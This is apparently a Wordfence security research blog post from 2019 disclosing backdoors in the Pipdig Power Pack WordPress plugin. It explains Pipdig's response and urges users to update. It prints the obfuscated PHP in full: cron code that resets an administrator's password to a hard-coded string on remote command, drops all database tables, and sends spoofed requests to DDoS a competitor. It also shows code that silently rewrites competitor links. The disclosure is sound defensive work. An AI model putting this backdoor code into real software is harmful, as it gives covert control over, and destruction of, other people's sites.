This entry was posted in Research, WordPress Security on March 29, 2019 by Mikey Veenstra 36 Replies

This week, our team was notified of suspicious code present in a plugin offered alongside themes sold by Pipdig, a UK-based web development team. The user, who wishes to remain anonymous, reached out to us with concerns that the plugin’s developer can grant themselves administrative access to sites using the plugin, or even delete affected sites’ database content remotely. We have since confirmed that the plugin, Pipdig Power Pack (or P3), contains code which has been obfuscated with misleading variable names, function names, and comments in order to hide these capabilities.

We reached out to the Pipdig team with questions about these issues, and within hours a new version of P3 was released with much of the suspicious code removed. Pipdig Power Pack versions up to 4.7.3 contain the backdoor code, which has been removed as of version 4.8.0, at least at the time of this writing. No concrete data is available regarding the exact install base of the P3 plugin, though queries against services like PublicWWW and Censys suggest an install base of 10,000-15,000 sites.

Sites running Pipdig’s software should ensure they’ve updated to the latest version of P3. While we’re stopping short of recommending removing the software, serious consideration should be given on whether to treat Pipdig as a trustworthy vendor going forward. Given the dubious nature of the code present in the previous version and obvious efforts to obscure it, Pipdig’s intentions remain unclear.

Due to the nature of these backdoors, which make remote calls to Pipdig’s servers as opposed to listening for incoming requests, an inbound firewall rule cannot prevent these actions. In an effort to protect Wordfence users, we will be issuing WordPress dashboard notifications to our users with the P3 plugin active. Systems administrators interested in checking their filesystems should look for the plugin slug p3 .

In today’s post, we’ll take a look under the hood of the P3 plugin to see what the developers added and how it can affect your site. Then we’ll discuss Pipdig’s response, as well as the importance of developer trust–especially in the unmoderated ecosystem of commercial WordPress plugins and themes.

Unauthenticated Password Reset (To A Hard-Coded String)

The first item we’ll look at is the plugin’s ability to reset the password of any user on an affected site.

// Check for new social channels to add to navbar etc if (!get_transient('p3_news_new_user_wait')) { $url = 'hXXps://pipdigz[.]co[.]uk/p3/socialz.txt'; $args = array('timeout' => 4); $response = wp_safe_remote_get($url, $args); if (!is_wp_error($response) && !empty($response['body'])) { if (email_exists(sanitize_email($response['body']))) { p3_check_social_links(email_exists(sanitize_email($response['body']))); wp_safe_remote_get('hXXps://pipdigz[.]co[.]uk/p3/socialz.php?list='.rawurldecode($me), $args); } } }

In the snippet above, taken from lines 88-99 of the file inc/cron.php , we see code ostensibly intended to “check for new social channels” according to the preceding comment. This code is present in a function associated with an hourly WordPress cron event, so it will attempt to run once per hour.

First, the plugin checks for a database transient called p3_news_new_user_wait . This is a transient set on initial activation, which will remain present for three weeks after being initially set. Thus, if a site has been running the plugin for longer than three weeks, the code block above will run when the hourly cron triggers.

Next, the plugin makes a wp_safe_remote_get() call to hXXps://pipdigz[.]co[.]uk/p3/socialz.txt . If the response from that URL is an email address, the function p3_check_social_links() is run on that email address, after which the plugin sends another request to a different pipdigz[.]co[.]uk address containing the site’s domain (as the variable $me , defined elsewhere). The socials.txt file on Pipdig’s server did not contain any content when tested during the course of this investigation.

Despite the innocuous name, however, p3_check_social_links() has nothing to do with social media.

function p3_safe_styles($styles) { $styles[] = 'display'; // For Google Adsense ad widget $styles[] = 'text-transform'; return $styles; } function p3_check_social_links($link_style) { wp_set_password('p3_safe_styles', $link_style); }

The function is defined in inc/functions.php , and continues its misleading behavior. It’s located immediately after the definition of another function, p3_safe_styles() , and at a glance seems to make use of it. However, its presence in line 195 is as a string, not a function. In reality, p3_check_social_links() simply changes the password of a given user to the hard-coded string “p3_safe_styles”.

What this means is that if Pipdig were inclined, they could gain administrative access to a site just by knowing the email address of an administrator account. They’d update the socialz.txt file on their end to contain the email in question, wait an hour for the cron to trigger again, and log in to the account with the password “p3_safe_styles”.

The cron event responsible for calling the password reset function has been removed as of version 4.8.0, though the p3_check_social_links() function with the hardcoded password is still present as orphaned code.

Unauthenticated Database Deletion

Following the password reset, the very next lines of code in inc/cron.php contain further concerning behavior: the ability to delete a site’s entire WordPress database remotely.

$url_2 = 'hXXps://pipdigz[.]co[.]uk/p3/id39dqm3c0.txt'; $response = wp_safe_remote_get($url_2, $args); if (!is_wp_error($response) && !empty($response['body'])) { if ($me === trim($response['body'])) { global $wpdb; $prefix = str_replace('_', '\_', $wpdb->prefix); $tables = $wpdb->get_col("SHOW TABLES LIKE '{$prefix}%'"); foreach ($tables as $table) { $wpdb->query("DROP TABLE $table"); } } }

In this snippet, we see the plugin making a wp_safe_remote_get() call to hXXps://pipdigz[.]co[.]uk/p3/id39dqm3c0.txt . Then, it compares the response to $me , which still refers to the WordPress site’s URL. If id39dqm3c0.txt contains the site’s URL, the plugin will enumerate and individually drop every database table associated with the site. This check, like the password reset above, is made hourly when the cron is triggered.

To clarify, the Pipdig team can remotely destroy a WordPress site using the P3 plugin by storing its site_url on their server as id39dqm3c0.txt , then waiting an hour and triggering the cron. We did not detect any activity in this file during our investigation.

The database deletion functionality has been removed as of version 4.8.0.

Unusual Scheduled Remote Calls

Pipdig’s plugin, in addition to the more obvious examples, includes some remote calls in its cron events that raise questions of original intent.

The following snippet is present in a daily cron found in inc/cron.php :

// Clear CDN cache $url = 'hXXps://pipdigz[.]co[.]uk/p3/id39dqm3c0_license.txt'; $response = wp_safe_remote_get($url, $args); if (!is_wp_error($response) && !empty($response['body'])) { $rcd = trim($response['body']); //$check = add_query_arg('n', rand(0,99999), $rcd); wp_safe_remote_get($rcd.'&'.rand(0,99999), $args); }

This code is nearly identical to another snippet from the same file, associated with an hourly cron event:

// Check CDN cache $url_3 = 'hXXps://pipdigz[.]co[.]uk/p3/id39dqm3c0_license_h.txt'; $response = wp_safe_remote_get($url_3, $args); if (!is_wp_error($response) && !empty($response['body'])) { $rcd = trim($response['body']); $args = array('timeout' => 10, 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36', 'reject_unsafe_urls' => true, 'blocking' => false, 'sslverify' => false); //$check = add_query_arg('n', rand(0,99999), $rcd); wp_safe_remote_get($rcd.'&'.rand(0,99999), $args); }

Both of these events include comments suggesting the code has to do with a CDN cache. This does not appear to be the case.

In both examples, the plugin first makes a call to a text file on Pipdig’s server. The text files each contain a new URL, which the plugin makes a subsequent request to. This second request includes a query string with a random numeral between 0 and 99999, and in the case of the hourly event, a spoofed User-Agent string intended to make the request appear as though it was generated by Google Chrome on a Windows 10 machine.

During our initial review of the P3 plugin, we tested the two Pipdig URLs to see where these daily and hourly requests were eventually ending up. The address queried in the daily event returned a target URL of hXXps://[redacted].com/wp-cron.php , and the hourly lookup returned hXXps://[redacted].com/wp-admin/admin-ajax.php . The contents of these files were emptied shortly after we contacted Pipdig, though response codes indicate the files themselves still exist.

It is unclear at this time why Pipdig was directing sites with their plugin to send these requests to a third party site. It’s also not obvious why one of the requests falsely reports the User-Agent of the request.

The code responsible for these remote requests has been removed as of version 4.8.0.

Update – 14:05 PDT, March 29 2019

We recently became aware of another investigation which had apparently been running in parallel to our own. In a post today, WordPresser Jem “Jemjabella” Turner detailed similar issues, but had gone a bit further in regards to these remote requests.

Popular WordPress theme provider pipdig is using customer sites to DDoS competitors & harvesting user data (amongst other things): https://t.co/MjfH7izT9x — Jem (@jemjabella) March 29, 2019



The post, which can be found here, confirms our initial suspicions that these requests were attempts to issue a DDoS against one of Pipdig’s competitors. In a response, shared in Jem’s blog, the target reported the following:

“I actually had huge trouble with my web host and they explained that my admin-ajax.php file was under some kind of attack [..] I can confirm that I have never given pipdig any permissions to make requests to my servers. Nor was I ever in a partnership or any sort of contact with them.”

This confirmation makes it much clearer why random numerals were appended to the target URLs: it was in an attempt to bypass CDNs and other caches. It also clears up why the hourly requests made use of spoofed User-Agent strings.

Update – 18:20 PDT, March 29 2019

At the request of the competitor who was targeted in these attacks, we have removed references to their name and domain from this post. We did not intend to cause them stress in reporting these issues.

Undisclosed Content and Configuration Rewrites

Changing focus from security concerns to questionable dev practices, we see Pipdig Power Pack quietly making changes to site content.

Firstly, the plugin includes a content filter that automatically replaces references to Blogerize, a service which claims to be a beginner’s blogging course, with references to Pipdig’s own services.

function p3_content_filter($content) { if (get_transient('p3_news_new_user_wait')) { return $content; } elseif (is_single()) { $content = str_replace('bloger'.'ize[.]com', 'pipdig[.]co/shop/blogger-to-wordpress-m'.'igration/" data-scope="', $content); $content = str_replace('Blog'.'erize', 'Blog'.'ger to WordPress', $content); } return $content; } add_filter('the_content', 'p3_content_filter', 20);

The p3_content_filter() function, present in inc/functions.php , performs the swap. It begins by checking if the p3_news_new_user_wait transient is set, which you may recall from earlier is present for three weeks on new installs. Once three weeks is up the filter runs on any viewed posts, replacing the string Blogerize with Blogger to WordPress , and any instances of the domain blogerize.com are replaced with pipdig[.]co/shop/blogger-to-wordpress-migration/" data-scope=" .

Not only does this occur silently in the background, but users who encounter the issue may find it difficult to identify the cause due to the obfuscation employed by the plugin’s developer. The strings used, both originals and their replacements, are broken up in the code and concatenated by PHP. For example, searching for blogerize[.]com in your site’s filesystem wouldn’t catch the plugin’s use of 'bloger'.'ize[.]com' .

Cursory searches reveal at least three live sites with content affected by this filter, all blog posts discussing Blogerize’s services, where links and brand references are all replaced with Pipdig’s content.

In addition to this content filtering, P3 makes some plugin-related decisions for its users that they aren’t made aware of.

function pipdig_p3_activate() { add_option('pipdig_id', sanitize_text_field(substr(str_shuffle(MD5(microtime())), 0, 10))); update_option('link_manager_enabled', 0); update_option('antispam_dismiss_notice', 'true'); update_option('endurance_cache_level', 0); $plugins = array( 'wd-instagram-feed/wd-instagram-feed.php', 'instagram-slider-widget/instaram_slider.php', 'categories-images/categories-images.php', 'mojo-marketplace-wp-plugin/mojo-marketplace.php', 'mojo-marketplace-hg/mojo-marketplace.php', 'autoptimize/autoptimize.php', 'heartbeat-control/heartbeat-control.php', 'instagram-slider-widget/instaram_slider.php', 'vafpress-post-formats-ui-develop/vp-post-formats-ui.php', 'advanced-excerpt/advanced-excerpt.php', 'force-regenerate-thumbnails/force-regenerate-thumbnails.php', 'jch-optimize/jch-optimize.php', 'rss-image-feed/image-rss.php', 'wpclef/wpclef.php', 'wptouch/wptouch.php', 'hello-dolly/hello.php', 'theme-test-drive/themedrive.php', ); deactivate_plugins($plugins);

In the plugin’s activation hook, found in p3.php , a number of plugins are immediately deactivated if present. No reason is given for this action. The following plugins are all deactivated when P3 is activated:

10Web Instagram Feed – Instagram Gallery ( wd-instagram-feed )

) Instagram Slider Widget ( instagram-slider-widget )

) Categories Images ( categories-images )

) Mojo Marketplace ( mojo-marketplace-wp-plugin & mojo-marketplace-hg )

& ) Autoptimize ( autoptimize )

) Heartbeat Control ( heartbeat-control )

) Instagram Slider Widget ( instagram-slider-widget )

) Vafpress ( vafpress-post-formats-ui-develop )

) Advanced Excerpt ( advanced-excerpt )

) Force Regenerate Thumbnails ( force-regenerate-thumbnails )

) JCH Optimize ( jch-optimize )

) Clef ( wpclef )

) WPtouch ( wptouch )

) Hello Dolly ( hello-dolly )

) Theme Test Drive ( theme-test-drive )

Many of these plugins are very popular, with more than a hundred thousand installs. Other than certain exceptions like Hello Dolly (which certainly isn’t mission critical) and Clef (which is defunct), users may rely on these plugins and having them quietly deactivated could certainly cause headaches.

Later in the same file, another batch of plugins are listed and deactivated. This time the call is made alongside admin_init , so even if a user reactivates one it won’t stick. At least in this case, comments are made on some of the plugins in an attempt to explain why each is disallowed. Still, users are left unaware that this deactivation is even taking place unless they’re watching for it.

// Don't allow some plugins. Sorry not sorry. function p3_trust_me_you_dont_want_this() { $plugins = array( 'query-strings-remover/query-strings-remover.php', // Stop removing query strings. They're an important part of WP and keeping the site working correctly with caching. 'remove-query-strings-from-static-resources/remove-query-strings.php', 'scripts-to-footer/scripts-to-footer.php', // Scripts must also be located in the <head> so the widgets can render correctly. 'fast-velocity-minify/fvm.php', 'contact-widgets/contact-widgets.php', // Font awesome 5 breaks other icons 'theme-check/theme-check.php', // our themes aren't designed for the w.org repo 'wp-support/index.php' // malware? ); deactivate_plugins($plugins); } add_action('admin_init', 'p3_trust_me_you_dont_want_this');

The following plugins are deactivated in this set:

Query Strings Remover ( query-strings-remover )

) Remove Query Strings From Static Resources ( remove-query-strings-from-static-resources )

) Scripts To Footer ( scripts-to-footer ) Note: The slug on the WordPress.org plugin repository for Scripts To Footer is actually scripts-to-footerphp , so this one won’t actually deactivate.

) Fast Velocity Minify ( fast-velocity-minify )

) Contact Widgets ( contact-widgets )

) Theme Check ( theme-check )

) WP Support ( wp-support )

Whether or not the given reasons for deactivating these plugins are legitimate, it’s at best questionable practice to make these sorts of changes on behalf of your users without their knowledge.

These content and configuration changes have not been removed from Pipdig Power Pack, and are still present as of version 4.8.0.

Response From Pipdig

Once we became aware of these issues, and confirmed them internally, we reached out to Pipdig for comments on some of our concerns.

In response to our questions about the plugin’s database deletion feature, Pipdig’s Creative Director Phil Clothier said the following:

“Last year we had some serious problems after someone obtained a huge list of license keys and downloaded all of our products. The keys and files were then distributed on their file sharing site, which has since been taken down (not by us, ironically!). The drop tables function was put in place to try to stop this at the time.”

Clothier claimed P3’s users were notified at the time when this functionality was introduced, though there doesn’t appear to be any remaining mention of it in the company’s documentation or terms of service. No mention of any of these capabilities had been made during the process of purchasing and activating a Pipdig theme and the P3 plugin.

Our questions about the plugin’s password reset feature, as well as our concerns about the misleading coding conventions used to obfuscate these behaviors, were not acknowledged by Pipdig in their response.

No Mention In The Patch

When we were initially made aware of these issues earlier this week, the latest available version of P3 was 4.7.3. After our contact with Pipdig, 4.8.0 was released. However, the changelog present in 4.8.0 made no mention of 4.7.3 at all.

In fact, when looking at the diffset between 4.7.3’s readme file and the one in 4.8.0, you can see that the only change was to increment the version number and date of the preexisting changes for 4.7.3. No mention at all is made of the removal of two backdoors and other suspicious code. Since these were the main changes in the new version, it would be difficult to add a standalone entry for 4.8.0 without mentioning them.

It’s understandable that Pipdig may not want to draw attention to these issues, but disclosing the existence of a security release is ethically important.

Final Thoughts

Pipdig Power Pack, a plugin used by all of Pipdig’s commercial WordPress themes, included a number of questionable features for an indeterminate amount of time until yesterday’s release of version 4.8.0. Prior to this, Pipdig maintained the ability to gain administrative access to (or entirely break) any WordPress site with the plugin active. Even on updated versions, content rewriting and plugin deactivations can take place without user knowledge.

Much of the code in question was deliberately misleading or obfuscated, such as the use of a function named p3_check_social_links() to change a user’s password or splitting the string 'Blog'.'erize' to conceal attempts to market Pipdig’s services.

Pipdig’s claims that all of this behavior had honest intent is not surprising. Ultimately the impact of these development decisions depends on their users’ trust in them as a company–after all, it’s up to Pipdig’s word that these backdoors were never actually utilized. While we don’t have evidence to the contrary, Pipdig’s deliberate use of misleading code still raises concerns. At best, it puts new Pipdig customers in an uncomfortable position: they were unaware of any of this before purchase, and Pipdig does not offer refunds on any of their products in the event that it’s deemed unacceptable.

Once again, we strongly urge Pipdig users to update P3 to version 4.8.0 immediately. Afterwards, consider keeping an eye on future updates to Pipdig’s plugins and themes to ensure newly added code meets your site’s security standards. Wordfence users with P3 active will soon receive notifications on their WordPress dashboard notifying them of this story.

What are your thoughts? Was Pipdig in the clear to add these features to their plugin? Is the type of code obfuscation they’ve used acceptable? Is their removal of the most concerning code a satisfactory response? Let us know in the comments below, or @Wordfence on Twitter.